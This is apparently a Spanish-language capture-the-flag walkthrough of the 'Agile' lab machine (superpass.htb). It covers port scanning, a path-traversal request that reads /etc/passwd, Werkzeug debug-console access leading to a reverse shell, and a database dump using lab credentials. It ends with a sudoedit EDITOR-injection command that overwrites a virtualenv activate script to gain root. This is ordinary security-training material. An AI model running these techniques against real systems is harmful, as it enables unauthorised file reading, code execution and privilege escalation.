Featured image of post Agile Machine

Agile Machine

Reconocimiento

Comprobamos la disponibilidad de la máquina objetivo:

1
 ping -c 1 10.10.11.203

1
2
3
4
5
6
PING 10.10.11.203 (10.10.11.203) 56(84) bytes of data.
64 bytes from 10.10.11.203: icmp_seq=1 ttl=63 time=44.9 ms

--- 10.10.11.203 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 44.928/44.928/44.928/0.000 ms

ttl->63 Linux por proximidad.

Lanzamos nmap para ver los servicios expuestos:

1
 nmap -p- --open -Pn -n -T5 10.10.11.203 -oG openTCPports

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 18:47 CET
Nmap scan report for 10.10.11.203
Host is up (0.048s latency).
Not shown: 65246 closed tcp ports (reset), 287 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.95 seconds

Extraemos los puertos del archivo mediante expresiones regulares:

1
 grePorts

1
 [!] Open ports: 22,80

Lanzamos los scripts de reconocimiento y versión de nmap para recopilar más información de los servicios expuestos:

1
 nmap -p22,80 -sVC 10.10.11.203 -oN servicesTCPports

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 18:51 CET
Nmap scan report for 10.10.11.203
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.88 seconds

Añadimos el dominio a nuestro archivo “/etc/hosts”.

Obteniendo acceso a la máquina víctima

Principalmente actuamos como si fueramos un usuario normal y vemos como funciona la aplicación, creamos nuestro usuario y guardamos algunas contraseñas; en paralelo dejamos trabajando gobuster para listar directorios:

1
 gobuster dir -b 301,404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://superpass.htb

Tras un poco obtenemos:

1
2
3
4
===============================================================
2023/03/24 20:47:50 Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]

Con unas contraseñas almacenadas y un usuario creado intentamos acceder:

Obtenemos un error y vemos que Werkzeug está por detrás como WSGI.Echando un vistazo más detenidamente al error:

Parece ser que hay un parametro que gestiona el fichero que hay que leer para descargar el csv asociado, lo que significa que podemos hacer lo siguiente para poder ver contenido de ficheros del sistema como “/etc/passwd” para ver posibles usuarios potenciales e intentar iniciar sesión en la aplicación.

1
 http://superpass.htb/download?__debugger__=yes&cmd=resource&s=9Y5IGB4bxbF6x3mm6I4j&fn=../etc/passwd

Nos descargamos el csv y podemos ver el contenido del archivo. Las líneas más relevantes son:

1
2
3
corum:x:1000:1000:corum:/home/corum:/bin/bash
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash

Tres potenciales usuarios.

Una vez ganado LFI podemos generar el PIN para acceder a la consola “debug” del servicio web. Hay múltiples recursos en la web; yo en concreto me he basado en el siguiente: enlace.

Una vez en la consola de desarrollo podemos ejecutar comandos en la máquina objetivo, por lo que entablamos una reverse shell.

Escalada de privilegios

SQLalchemy: usuario Corum

Ya dentro del equipo podemos echar un vistazo a los archivos de una forma más eficiente. Hay un archivo de configuración en json con credenciales para la BBDD. Creamos el siguiente script y usamos esta información:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from sqlalchemy import create_engine

engine = create_engine("mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass")

cols = ["username","password","url"]

for c in cols:
  result = engine.execute('SELECT %s FROM passwords;' % c)
  print("%s: ================================= " % c)
  for e in result:
    print(e)

¿Cómo podemos saber las columnas y el nombre de la tabla? Echando un vistazo a los archivos del servicio, en “passwords.py”:

Y obtenemos:

Chrome Remote Debug Port: Usuario Edward

Una vez conectados a través de ssh, echando un vistazo a los archivos del sistema, veo que chrome está instalado (ls -la /opt) lo que no suele ser común en estas máquinas.

Si observamos los procesos:

Para poder acceder desde nuestro equipo hacemos “port forwarding”" vía ssh y accediendo a Chrome:

Inspeccionando la página:

Sudoedit: root

Ya desde Edwards como dev_admin podemos ejecutar:

Como versión de sudo tenemos la 1.9.9, por lo que podemos usar la siguiente vulnerabilidad para escribir algún fichero extra:

Vemos los ficheros que podemos editar ya sea como usuario o grupo:

1
 find / -user dev_admin 2> /dev/null

1
2
3
4
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json

1
 find / -group dev_admin 2> /dev/null

1
2
3
4
5
6
7
/home/dev_admin
/app/venv
/app/venv/bin
/app/venv/bin/activate
/app/venv/bin/Activate.ps1
/app/venv/bin/activate.fish
/app/venv/bin/activate.csh

Buscando si se ejecuta algún proceso que implique alguno de estos archivos:

1
 ps aux | grep venv

Nos devuelve que se está ejecutando “pytest”. Recordando un fichero anterior de actualización:

De alguna forma root debe ejecutar source /app/venv/bin/activate para poder ejecutar el test, por lo que aprovechando esto:

1
 sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json

Damos permisos SUID:

Y con esto finalizamos la máquina y obtenemos permisos de administrador.

Tema Stack diseñado por Jimmy